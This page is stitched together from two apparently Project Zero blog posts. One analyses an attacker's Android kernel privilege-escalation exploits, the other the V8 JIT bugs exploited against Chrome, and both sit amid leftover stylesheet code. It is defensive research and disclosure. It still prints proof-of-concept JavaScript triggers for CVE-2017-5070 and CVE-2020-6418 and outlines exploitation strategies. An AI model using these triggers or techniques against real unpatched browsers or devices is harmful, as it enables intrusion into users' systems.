"}ul.lst-kix_c52otkrerajb-4{list-style-type:none}ul.lst-kix_olvs1jbt89fl-6{list-style-type:none}ul.lst-kix_c52otkrerajb-3{list-style-type:none}ul.lst-kix_olvs1jbt89fl-5{list-style-type:none}ul.lst-kix_c52otkrerajb-2{list-style-type:none}ul.lst-kix_olvs1jbt89fl-8{list-style-type:none}ul.lst-kix_c52otkrerajb-1{list-style-type:none}ul.lst-kix_olvs1jbt89fl-7{list-style-type:none}.lst-kix_tjxel15w0vnb-4>li:before{content:"\0025cb "}.lst-kix_f28qers2ka94-3>li:before{content:"" counter(lst-ctn-kix_f28qers2ka94-3,decimal) ". "}ul.lst-kix_olvs1jbt89fl-2{list-style-type:none}.lst-kix_f28qers2ka94-0>li{counter-increment:lst-ctn-kix_f28qers2ka94-0}ul.lst-kix_olvs1jbt89fl-1{list-style-type:none}.lst-kix_f28qers2ka94-6>li{counter-increment:lst-ctn-kix_f28qers2ka94-6}ul.lst-kix_olvs1jbt89fl-4{list-style-type:none}ul.lst-kix_olvs1jbt89fl-3{list-style-type:none}.lst-kix_tjxel15w0vnb-2>li:before{content:"\0025a0 "}.lst-kix_tjxel15w0vnb-6>li:before{content:"\0025cf "}ul.lst-kix_olvs1jbt89fl-0{list-style-type:none}ol.lst-kix_f28qers2ka94-3.start{counter-reset:lst-ctn-kix_f28qers2ka94-3 0}.lst-kix_f28qers2ka94-5>li:before{content:"" counter(lst-ctn-kix_f28qers2ka94-5,lower-roman) ". "}.lst-kix_thuqgp6gfs8h-3>li{counter-increment:lst-ctn-kix_thuqgp6gfs8h-3}.lst-kix_f28qers2ka94-5>li{counter-increment:lst-ctn-kix_f28qers2ka94-5}ol.lst-kix_f28qers2ka94-6{list-style-type:none}ol.lst-kix_f28qers2ka94-5{list-style-type:none}ol.lst-kix_f28qers2ka94-8{list-style-type:none}ol.lst-kix_f28qers2ka94-7{list-style-type:none}ol.lst-kix_f28qers2ka94-2{list-style-type:none}ol.lst-kix_f28qers2ka94-1{list-style-type:none}ol.lst-kix_f28qers2ka94-4{list-style-type:none}ol.lst-kix_f28qers2ka94-3{list-style-type:none}ol.lst-kix_f28qers2ka94-0{list-style-type:none}.lst-kix_7gtwvv8lds0h-1>li:before{content:"- "}.lst-kix_7gtwvv8lds0h-0>li:before{content:"- "}ol.lst-kix_thuqgp6gfs8h-1.start{counter-reset:lst-ctn-kix_thuqgp6gfs8h-1 0}ol.lst-kix_f28qers2ka94-8.start{counter-reset:lst-ctn-kix_f28qers2ka94-8 0}.lst-kix_t4et3tnq1pzp-4>li:before{content:"- "}.lst-kix_thuqgp6gfs8h-0>li:before{content:"" counter(lst-ctn-kix_thuqgp6gfs8h-0,decimal) ". "}.lst-kix_thuqgp6gfs8h-1>li:before{content:"" counter(lst-ctn-kix_thuqgp6gfs8h-1,lower-latin) ". "}.lst-kix_f38l0ecznhb0-6>li:before{content:"- "}.lst-kix_f38l0ecznhb0-7>li:before{content:"- "}.lst-kix_t4et3tnq1pzp-3>li:before{content:"- "}.lst-kix_t4et3tnq1pzp-5>li:before{content:"- "}.lst-kix_thuqgp6gfs8h-2>li:before{content:"" counter(lst-ctn-kix_thuqgp6gfs8h-2,lower-roman) ". "}.lst-kix_thuqgp6gfs8h-3>li:before{content:"" counter(lst-ctn-kix_thuqgp6gfs8h-3,decimal) ". "}.lst-kix_t4et3tnq1pzp-0>li:before{content:"- "}.lst-kix_t4et3tnq1pzp-8>li:before{content:"- "}.lst-kix_f28qers2ka94-7>li{counter-increment:lst-ctn-kix_f28qers2ka94-7}.lst-kix_f38l0ecznhb0-3>li:before{content:"- "}.lst-kix_t4et3tnq1pzp-1>li:before{content:"- "}.lst-kix_t4et3tnq1pzp-2>li:before{content:"- "}.lst-kix_f28qers2ka94-1>li{counter-increment:lst-ctn-kix_f28qers2ka94-1}.lst-kix_f38l0ecznhb0-4>li:before{content:"- "}.lst-kix_f38l0ecznhb0-5>li:before{content:"- "}.lst-kix_f38l0ecznhb0-8>li:before{content:"- "}ul.lst-kix_7gtwvv8lds0h-0{list-style-type:none}ul.lst-kix_7gtwvv8lds0h-1{list-style-type:none}.lst-kix_lw3zh1qbhlji-1>li:before{content:"\0025cb "}ul.lst-kix_7gtwvv8lds0h-2{list-style-type:none}.lst-kix_lw3zh1qbhlji-2>li:before{content:"\0025a0 "}ul.lst-kix_7gtwvv8lds0h-7{list-style-type:none}.lst-kix_thuqgp6gfs8h-8>li:before{content:"" counter(lst-ctn-kix_thuqgp6gfs8h-8,lower-roman) ". "}ul.lst-kix_7gtwvv8lds0h-8{list-style-type:none}.lst-kix_lw3zh1qbhlji-3>li:before{content:"\0025cf "}.lst-kix_lw3zh1qbhlji-5>li:before{content:"\0025a0 "}ul.lst-kix_7gtwvv8lds0h-3{list-style-type:none}.lst-kix_thuqgp6gfs8h-6>li:before{content:"" counter(lst-ctn-kix_thuqgp6gfs8h-6,decimal) ". "}.lst-kix_thuqgp6gfs8h-7>li:before{content:"" counter(lst-ctn-kix_thuqgp6gfs8h-7,lower-latin) ". "}ul.lst-kix_7gtwvv8lds0h-4{list-style-type:none}ul.lst-kix_7gtwvv8lds0h-5{list-style-type:none}.lst-kix_lw3zh1qbhlji-4>li:before{content:"\0025cb "}ul.lst-kix_7gtwvv8lds0h-6{list-style-type:none}.lst-kix_thuqgp6gfs8h-4>li:before{content:"" counter(lst-ctn-kix_thuqgp6gfs8h-4,lower-latin) ". "}.lst-kix_thuqgp6gfs8h-5>li:before{content:"" counter(lst-ctn-kix_thuqgp6gfs8h-5,lower-roman) ". "}.lst-kix_f38l0ecznhb0-2>li:before{content:"- "}.lst-kix_t4et3tnq1pzp-7>li:before{content:"- "}.lst-kix_lw3zh1qbhlji-7>li:before{content:"\0025cb "}.lst-kix_t4et3tnq1pzp-6>li:before{content:"- "}.lst-kix_f38l0ecznhb0-0>li:before{content:"- "}.lst-kix_f38l0ecznhb0-1>li:before{content:"- "}.lst-kix_lw3zh1qbhlji-6>li:before{content:"\0025cf "}.lst-kix_c52otkrerajb-8>li:before{content:"- "}.lst-kix_c52otkrerajb-6>li:before{content:"- "}.lst-kix_b2z7bfhnik92-0>li:before{content:"- "}.lst-kix_lw3zh1qbhlji-8>li:before{content:"\0025a0 "}ol.lst-kix_thuqgp6gfs8h-2.start{counter-reset:lst-ctn-kix_thuqgp6gfs8h-2 0}.lst-kix_b2z7bfhnik92-2>li:before{content:"- "}.lst-kix_tjxel15w0vnb-1>li:before{content:"\0025cb "}.lst-kix_f28qers2ka94-0>li:before{content:"" counter(lst-ctn-kix_f28qers2ka94-0,decimal) ". "}.lst-kix_c52otkrerajb-0>li:before{content:"- "}.lst-kix_b2z7bfhnik92-6>li:before{content:"- "}ol.lst-kix_f28qers2ka94-7.start{counter-reset:lst-ctn-kix_f28qers2ka94-7 0}.lst-kix_c52otkrerajb-2>li:before{content:"- "}.lst-kix_b2z7bfhnik92-4>li:before{content:"- "}.lst-kix_b2z7bfhnik92-8>li:before{content:"- "}.lst-kix_thuqgp6gfs8h-8>li{counter-increment:lst-ctn-kix_thuqgp6gfs8h-8}.lst-kix_c52otkrerajb-4>li:before{content:"- "}ul.lst-kix_f38l0ecznhb0-8{list-style-type:none}ul.lst-kix_f38l0ecznhb0-6{list-style-type:none}ul.lst-kix_f38l0ecznhb0-7{list-style-type:none}ul.lst-kix_f38l0ecznhb0-4{list-style-type:none}ul.lst-kix_f38l0ecznhb0-5{list-style-type:none}ul.lst-kix_f38l0ecznhb0-2{list-style-type:none}ul.lst-kix_f38l0ecznhb0-3{list-style-type:none}ul.lst-kix_f38l0ecznhb0-0{list-style-type:none}ul.lst-kix_f38l0ecznhb0-1{list-style-type:none}.lst-kix_thuqgp6gfs8h-7>li{counter-increment:lst-ctn-kix_thuqgp6gfs8h-7}ol.lst-kix_thuqgp6gfs8h-0.start{counter-reset:lst-ctn-kix_thuqgp6gfs8h-0 0}.lst-kix_thuqgp6gfs8h-1>li{counter-increment:lst-ctn-kix_thuqgp6gfs8h-1}.lst-kix_7gtwvv8lds0h-3>li:before{content:"- "}.lst-kix_7gtwvv8lds0h-5>li:before{content:"- "}.lst-kix_tjxel15w0vnb-7>li:before{content:"\0025cb "}.lst-kix_f28qers2ka94-8>li:before{content:"" counter(lst-ctn-kix_f28qers2ka94-8,lower-roman) ". "}.lst-kix_7gtwvv8lds0h-7>li:before{content:"- "}.lst-kix_f28qers2ka94-3>li{counter-increment:lst-ctn-kix_f28qers2ka94-3}.lst-kix_tjxel15w0vnb-3>li:before{content:"\0025cf "}.lst-kix_tjxel15w0vnb-5>li:before{content:"\0025a0 "}.lst-kix_f28qers2ka94-2>li:before{content:"" counter(lst-ctn-kix_f28qers2ka94-2,lower-roman) ". "}.lst-kix_f28qers2ka94-6>li:before{content:"" counter(lst-ctn-kix_f28qers2ka94-6,decimal) ". "}.lst-kix_f28qers2ka94-4>li:before{content:"" counter(lst-ctn-kix_f28qers2ka94-4,lower-latin) ". "}ol{margin:0;padding:0}table td,table th{padding:0}.c16{padding-top:0pt;padding-bottom:0pt;line-height:1.25;orphans:2;widows:2;text-align:left;height:11pt}.c13{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:16pt;font-family:"Arial";font-style:normal}.c2{background-color:#ffffff;padding-top:18pt;padding-bottom:6pt;line-height:1.38;orphans:2;widows:2;text-align:left}.c0{padding-top:0pt;padding-bottom:0pt;line-height:1.15;orphans:2;widows:2;text-align:left;height:11pt}.c5{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.c6{padding-top:18pt;padding-bottom:6pt;line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}.c17{padding-top:0pt;padding-bottom:0pt;line-height:1.25;orphans:2;widows:2;text-align:left}.c7{padding-top:0pt;padding-bottom:0pt;line-height:1.15;orphans:2;widows:2;text-align:left}.c12{color:#000000;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.c14{color:#000000;text-decoration:none;vertical-align:baseline;font-size:11pt;font-style:normal}.c18{font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial"}.c9{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.c10{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.c1{color:inherit;text-decoration:inherit}.c8{font-weight:400;font-family:"Courier New"}.c3{background-color:#ffffff;color:#545454}.c11{background-color:#ffffff;font-style:italic}.c4{font-weight:700}.c15{font-style:italic}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}

This is part 4 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other parts of the series, see the introduction post.

Posted by Mark Brand, Project Zero

A survey of the exploitation techniques used by a high-tier attacker against Android devices in 2020


After one of the Chrome exploits has been successful, there are several (quite simple) stages of payload decryption that occur. Once we've got through that, we reach a much more complex binary that is clearly the result of some engineering work. Thanks to that engineering it's very simple for us to locate and examine the exploits embedded inside! For each privilege elevation, they have a function in the .init_array which will register it into a global list which they later use -- this makes it easy for them to plug-and-play additional exploits into their framework, but is also very convenient for us when reverse-engineering their framework:

Each of the "xyz_register" functions looks like the following, adding an entry to the global list with a probe function used to check whether the device is vulnerable to the given exploit, and to estimate likelihood of success, and an exploit function used to launch the exploit. These probe functions are then used to dynamically determine the best exploit to use based on runtime information about the target device.


Looking at the probe functions gives us an idea of which devices are supported, but we can already see something fairly surprising: this attacker is using entirely public exploits for their privilege elevations. Of course, we can't tell for sure that they didn't know about any of these bugs prior to the original public disclosures; but their exploit configuration structure contains an internal "name" describing the exploit, and those map very neatly to either public naming ("iovy", "cow") or CVE numbers ("0569", "0820" for exploits targeting CVE-2015-0569 and CVE-2016-0820 respectively), suggesting that these exploits were very likely developed after those public disclosures and not before.

In addition, as we'll see below, most of the exploits are closely related to public exploits or descriptions of techniques used to exploit the bugs -- adding further weight to the theory that these exploits were implemented well after the original patches were shipped.

Of course, it's important to note that we had a narrow window of opportunity during which we were capturing these exploit chains, and it wasn't possible for us to exhaustively test with different devices and patch levels. It's entirely possible that this attacker also has access to Android 0-day privilege elevations, and we just failed to extract those from the server before being detected. Nonetheless, it's certainly an interesting data-point to see an attacker pairing a sophisticated 0-day exploit for Chrome with, well, a load of bugs patched between 2 and 5 years ago.

Anyway, without further ado let's take a look at the exploits they did fit in here!

Common Techniques

addr_limit pipe kernel read-write: By corrupting the addr_limit variable in the task_struct, this technique gives a user-mode process the ability to read and write arbitrary kernel memory by passing kernel pointers when reading to and writing from a pipe.

Userspace shellcode: PXN support on 32-bit Android devices is quite rare, so on most 32-bit devices it was/is still possible to directly execute shellcode from the user-mode portion of the address space. See KEEN Lab "Emerging Defense in Android Kernel" for more information.

Point to userspace memory: PAN support is not ubiquitous on 64-bit Android devices, so it was (on older Android versions) often possible even on 64-bit devices for a kernel exploit to use this technique. See KEEN Lab "Emerging Defense in Android Kernel" for more information.


The vulnerabilities:

CVE-2015-1805 is a vulnerability in the Linux kernel handling read/write for pipe iovectors, leading to the use of an out-of-bounds struct iovec.

CVE-2016-3809 is an information leak, disclosing the address of a kernel sock structure.

Strategy: Heap-spray with fake iovectors using sendmmsg, race write, readv and mmap/munmap to trigger the vulnerability. This produces a single-use kernel write-what-where.

Subsequent flow: Use CVE-2016-3809 to leak the kernel address of a sock structure, then corrupt the socket member of the sock structure to point to userspace memory containing a fake structure (and function pointer table); execute userspace shellcode, elevating privileges.

Copy/Paste: ~90%. The exploit strategy is the same as public exploit code, and it looks like this was used as a starting point. The authors did some additional work, presumably to increase portability and stability, and the subsequent flow doesn't match any existing public exploit (that I found), but all of the techniques are publicly known.

Additional References: KEEN Lab "Talk is Cheap, Show Me the Code".


The vulnerabilities: Same as iovy, plus:
P0-822 is an information leak, allowing the reading of arbitrary kernel memory.

Strategy: Same as above.

Subsequent flow: Use CVE-2016-3809 to leak the kernel address of a sock structure, and use P0-822 to leak the address of the function pointer table associated with the socket. Then use P0-822 again to leak the necessary details to build a JOP chain that will clear the addr_limit. Corrupt one of the function pointers to invoke the JOP chain, giving the addr_limit pipe kernel read-write. Overwrite the cred struct for the current process, elevating privileges.

Copy/Paste: ~70%. The exploit strategy is the same as above, building the same primitive as the public exploit (addr_limit pipe kernel read-write). Instead of the public approach, they leverage the two additional vulnerabilities, which had public code available. It seems like the development of this exploit was copy/paste integration of the alternative memory-leak primitives, probably to increase portability. The code used for P0-822 is direct copy-paste (inner loop shown below).


The vulnerabilities: Same as iovy.

Strategy: Heap-spray with pipe buffers. One thread each for read/write/readv/writev and the usual mmap/munmap thread. Modify all of the pipe buffers, and then run either "read and writev" or "write and readv" threads to get a reusable kernel read-write.

Subsequent flow: Use CVE-2016-3809 to leak the kernel address of a sock structure, then use kernel-read to leak the address of the function pointer table associated with the socket. Use kernel-read again to leak the necessary details to build a JOP chain that will clear the addr_limit. Corrupt one of the function pointers to invoke the JOP chain, giving the addr_limit pipe kernel read-write. Overwrite the cred struct for the current process, elevating privileges.

Copy/Paste: ~30%. The heap-spray technique is the same as another public exploit, but there is significant additional synchronization added to support multiple reads and writes. There's not really enough unique commonality to determine whether the authors started with that code as a reference or not.


The vulnerability: According to the release notes, CVE-2015-0569 is a heap overflow in Qualcomm's wireless extension IOCTLs. This appears to be where the exploit name is derived from; however as you can see at the Qualcomm advisory, there were actually 15 commits here under 3 CVEs, and the exploit appears to actually target one of the stack overflows, which was patched as CVE-2015-0570.

Strategy: Corrupt return address; return to userspace shellcode.

Subsequent flow: The shellcode corrupts addr_limit, giving the addr_limit pipe kernel read-write. Overwrite the cred struct for the current process, elevating privileges.

Copy/Paste: 0%. This bug is trivial to exploit for non-PXN targets, so there would be little to gain by borrowing code.

Additional References: KEEN Lab "Rooting every Android".


The vulnerability: CVE-2016-0820, a linear data-section overflow resulting from a lack of bounds checking.

Strategy & subsequent flow: This exploit follows exactly the strategy and flow described in the KEEN Lab presentation.

Copy/Paste: ~20%. The only public code we could find for this is the PoC attached to our bugtracker - it seems most likely that this was an independent implementation written after KEEN lab's presentation and based on their description.

Additional References: KEEN Lab "Rooting every Android".


The vulnerability: CVE-2016-5195, also known as DirtyCOW.

Strategy: Depending on the system configuration their exploit will choose between using /proc/self/mem or ptrace for the write thread.

Subsequent flow: There are several different exploitation strategies depending on the target environment, and the full exploitation process here is a fairly complex state-machine involving several hops into different processes, which is likely necessary to support launching the exploit from within an isolated app context.

Copy/Paste: ~5%. The basic code necessary to exploit CVE-2016-5195 was probably copied from one of the many public sources, but the majority of the complexity here is in what is done next, and this doesn't seem to be similar to any of the public Android exploits.


The vulnerability: CVE-2018-9568, also known as WrongZone.

Strategy & subsequent flow: This exploit follows exactly the strategy and flow described in the Baidu Security Lab blog post.

Copy/Paste: ~20%. The code doesn't seem to match the publicly available exploit code for this bug, and it seems most likely that this was an independent implementation written after Baidu's blog post and based on their description.

Additional References: Alibaba Security "From Zero to Root". 
Baidu Security Lab: "KARMA shows you offense and defense".


Nothing very interesting, which is interesting in itself!

Here is an attacker who has access to 0day vulnerabilities in Chrome and Windows, and the ability to develop new and very reliable exploitation techniques in order to exploit these vulnerabilities -- and yet their Android privilege elevation capabilities appear to consist entirely of exploits using public, documented techniques and n-day vulnerabilities.

It certainly seems like they have the capability to write Android exploits. The exploits seem to be based on publicly available source code, and their implementations are based on exploitation strategies described in public sources.

One explanation for this would be that they serve different payloads depending on the targeting, and we were only receiving a "low-value" privilege-elevation capability. Alternatively,  perhaps exploit server URLs that we had access to were specifically configured for a user that they know uses an older device that would be vulnerable to one of these exploits?

Based on all the information available, it's likely that they have more device-specific 0day exploits. We might just not have tested with a device/firmware version that they supported for those exploits and inadvertently missed their more modern exploits.

About the only solid conclusion that we can make is that attackers clearly still see value in developing and maintaining exploits for fairly old Android vulnerabilities, to the extent of supporting those devices long past when their original manufacturers provide support for them.

This is part 4 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To continue reading, see In The Wild Part 5: Android Post-Exploitation.

Kategorie: Hacking & Security

In-the-Wild Series: Chrome Exploits

12 Leden, 2021 - 18:36
@import url('');ol{margin:0;padding:0}table td,table th{padding:0}.c10{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#e0e0e0;border-top-width:1pt;border-right-width:1pt;border-left-color:#e0e0e0;vertical-align:top;border-right-color:#e0e0e0;border-left-width:1pt;border-top-style:solid;background-color:#fafafa;border-left-style:solid;border-bottom-width:1pt;width:468pt;border-top-color:#e0e0e0;border-bottom-style:solid}.c6{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.c15{padding-top:16pt;padding-bottom:4pt;line-height:1.15;page-break-after:avoid;text-align:left}.c18{padding-top:14pt;padding-bottom:4pt;line-height:1.15;page-break-after:avoid;text-align:left}.c29{font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial"}.c24{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left}.c11{font-size:10pt;font-family:"Consolas";color:#9c27b0;font-weight:400}.c19{font-size:10pt;font-family:"Consolas";color:#0f9d58;font-weight:400}.c26{font-size:10pt;font-family:"Consolas";color:#455a64;font-weight:400}.c0{font-size:10pt;font-family:"Consolas";color:#616161;font-weight:400}.c4{font-size:10pt;font-family:"Consolas";color:#3367d6;font-weight:400}.c16{color:#434343;font-weight:400;font-size:14pt;font-family:"Arial"}.c2{font-size:10pt;font-family:"Consolas";color:#000000;font-weight:400}.c5{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.c8{font-size:10pt;font-family:"Consolas";color:#c53929;font-weight:400}.c28{padding-top:0pt;padding-bottom:0pt;line-height:1.25;text-align:left}.c1{padding-top:0pt;padding-bottom:0pt;line-height:1.15;text-align:left}.c14{color:#666666;font-weight:400;font-size:12pt;font-family:"Arial"}.c17{border-spacing:0;border-collapse:collapse;margin-right:auto}.c13{text-decoration:none;vertical-align:baseline;font-style:normal}.c7{orphans:2;widows:2;height:11pt}.c3{color:inherit;text-decoration:inherit}.c25{border:1px solid black;margin:5px}.c21{background-color:#ffffff;font-style:italic}.c30{max-width:468pt;padding:72pt 72pt 72pt 72pt}.c9{font-weight:400;font-family:"Courier New"}.c12{orphans:2;widows:2}.c22{font-style:italic}.c27{background-color:#ffffff}.c20{height:0pt}.c23{color:#545454}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:justify}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:justify}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:justify}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:justify}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:justify}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:justify}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:justify}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:justify}

This is part 3 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other parts of the series, see the introduction post.

Posted by Sergei Glazunov, Project Zero


As we continue the series on the watering hole attack discovered in early 2020, in this post we’ll look at the rest of the exploits used by the actor against Chrome. A timeline chart depicting the extracted exploits and affected browser versions is provided below. Different color shades represent different exploit versions.

All vulnerabilities used by the attacker are in V8, Chrome’s JavaScript engine; and more specifically, they are JIT compiler bugs. While classic C++ memory safety issues are still exploited in real-world attacks against web browsers, vulnerabilities in JIT offer many advantages to attackers. First, they usually provide more powerful primitives that can be easily turned into a reliable exploit without the need of a separate issue to, for example, break ASLR. Secondly, the majority of them are almost interchangeable, which significantly accelerates exploit development. Finally, bugs from this class allow the attacker to take advantage of a browser feature called web workers. Web developers use workers to execute additional tasks in a separate JavaScript environment. The fact that every worker runs in its own thread and has its own V8 heap makes exploitation significantly more predictable and stable.

The bugs themselves aren’t novel. In fact, three out of four issues have been independently discovered by external security researchers and reported to Chrome, and two of the reports even provided a full renderer exploit. While writing this post, we were more interested in learning about exploitation techniques and getting insight into a high-tier attacker’s exploit development process.

1. CVE-2017-5070The vulnerability

This is an issue in Crankshaft, the JIT engine Chrome used before TurboFan. The alias analyzer, which is used by several optimization passes to determine whether two nodes may refer to the same object, produces incorrect results when one of the two nodes is a constant. Consider the following code, which has been extracted from one of the exploits:

global_array = [, 1.1];


function trigger(local_array) {

  var temp = global_array[0];

  local_array[1] = {};

  return global_array[1];



trigger([, {}]);

trigger([, 1.1]);


for (var i = 0; i < 10000; i++) {

  trigger([, {}]);




The first line of the trigger function makes Crankshaft perform a map check on global_array (a map in V8 describes the “shape” of an object and includes the element representation information). The next line may trigger the double -> tagged element representation transition for local_array. Since the compiler incorrectly assumes that local_array and global_array can’t point to the same object, it doesn’t invalidate the recorded map state of global_array and, consequently, eliminates the “redundant” map check in the last line of the function.

The vulnerability grants an attacker a two-way type confusion between a JS object pointer and an unboxed double, which is a powerful primitive and is sufficient for a reliable exploit.

The issue was reported to Chrome by security researcher Qixun Zhao (@S0rryMybad) in May 2017 and fixed in the initial release of Chrome 59. The researcher also provided a renderer exploit. The fix made made the alias analyser use the constant comparison only when both arguments are constants:

 HAliasing Query(HValue* a, HValue* b) {


     // Constant objects can be distinguished statically.

-    if (a->IsConstant()) {

+    if (a->IsConstant() && b->IsConstant()) {

       return a->Equals(b) ? kMustAlias : kNoAlias;


     return kMayAlias;

Exploit 1

The earliest exploit we’ve discovered targets Chrome 37-58. This is the widest version range we’ve seen, which covers the period of almost three years. Unlike the rest of the exploits, this one contains a separate constant table for every supported browser build.

The author of the exploit takes a known approach to exploiting type confusions in JavaScript engines, which involves gaining the arbitrary read/write capability as an intermediate step. The exploit employs the issue to implement the addrof and fakeobj primitives. It “constructs” a fake ArrayBuffer object inside a JavaScript string, and uses the above primitives to obtain a reference to the fake object. Because strings in JS are immutable, the backing store pointer field of the fake ArrayBuffer can’t be modified. Instead, it’s set in advance to point to an extra ArrayBuffer, which is actually used for arbitrary memory access. Finally, the exploit follows a pointer chain to locate and overwrite the code of a JIT compiled function, which is stored in a RWX memory region.

The exploit is quite an impressive piece of engineering. For example, it includes a small framework for crafting fake JS objects, which supports assigning fields to real JS objects, fake sub-objects, tagged integers, etc. Since the bug can only be triggered once per JIT-compiled function, every time addrof or fakeobj is called, the exploit dynamically generates a new set of required objects and functions using eval.

The author also made significant efforts to increase the reliability of the exploit: there is a sanity check at every minor step; addrof stores all leaked pointers, and the exploit ensures they are still valid before accessing the fake object; fakeobj creates a giant string to store the crafted object contents so it gets allocated in the large object space, where objects aren’t moved by the garbage collector. And, of course, the exploit runs inside a web worker.

However, despite the efforts, the amount of auxiliary code and complexity of the design make accidental crashes quite probable. Also, the constructed fake buffer object is only well-formed enough to be accepted as an argument to the typed array constructor, but it’s unlikely to survive a GC cycle. Reliability issues are the likely reason for the existence of the second exploit.

Exploit 2

The second exploit for the same vulnerability aims at Chrome 47-58, i.e. a subrange of the previous exploit’s supported version range, and the exploit server always gives preference to the second exploit. The version detection is less strict, and there are just three distinct constant tables: for Chrome 47-49, 50-53 and 54-58.

The general approach is similar, however, the new exploit seems to have been rewritten from scratch with simplicity and conciseness in mind as it’s only half the size of the previous one. addrof is implemented in a way that allows leaking pointers to three objects at a time and only used once, so the dynamic generation of trigger functions is no longer needed. The exploit employs mutable on-heap typed arrays instead of JS strings to store the contents of fake objects; therefore, an extra level of indirection in the form of an additional ArrayBuffer is not required. Another notable change is using a RegExp object for code execution. The possible benefit here is that, unlike a JS function, which needs to be called many times to get JIT-compiled, a regular expression gets translated into native code already in the constructor.

While it’s possible that the exploits were written after the issue had become public, they greatly differ from the public exploit in both the design and implementation details. The attacker has thoroughly investigated the issue, for example, their trigger function is much more straightforward than in the public proof-of-concept.

2. CVE-2020-6418The vulnerability

This is a side effect modelling issue in TurboFan. The function InferReceiverMapsUnsafe assumes that a JSCreate node can only modify the map of its value output. However, in reality, the node can trigger a property access on the new_target parameter, which is observable to user JavaScript if new_target is a proxy object. Therefore, the attacker can unexpectedly change, for example, the element representation of a JS array and trigger a type confusion similar to the one discussed above:

'use strict';

(function() {

  var popped;


  function trigger(new_target) {

    function inner(new_target) {

      function constructor() {

        popped =;


      var temp = array[0];

      return Reflect.construct(constructor, arguments, new_target);






  var array = new Array(0, 0, 0, 0, 0);


  for (var i = 0; i < 20000; i++) {

    trigger(function() { });




  var proxy = new Proxy(Object, {

    get: () => (array[4] = 1.1, Object.prototype)






A call reducer (i.e., an optimizer) for Array.prototype.pop invokes InferReceiverMapsUnsafe, which marks the inference result as reliable meaning that it doesn’t require a runtime check. When the proxy object is passed to the vulnerable function, it triggers the tagged -> double element transition. Then pop takes a double element and interprets it as a tagged pointer value.

Note that the attacker can’t call the array function directly because for the expression array.pop() the compiler would insert an extra map check for the property read, which would be scheduled after the proxy handler had modified the array.

This is the only Chrome vulnerability that was still exploited as a 0-day at the time we discovered the exploit server. The issue was reported to Chrome under the 7-day deadline. The one-line patch modified the vulnerable function to mark the result of the map inference as unreliable whenever it encounters a JSCreate node:

InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(


  InferReceiverMapsResult result = kReliableReceiverMaps;


    case IrOpcode::kJSCreate: {

      if (IsSame(receiver, effect)) {

        base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);

        if (initial_map.has_value()) {

          *maps_return = ZoneHandleSet<Map>(initial_map->object());

          return result;


        // We reached the allocation of the {receiver}.

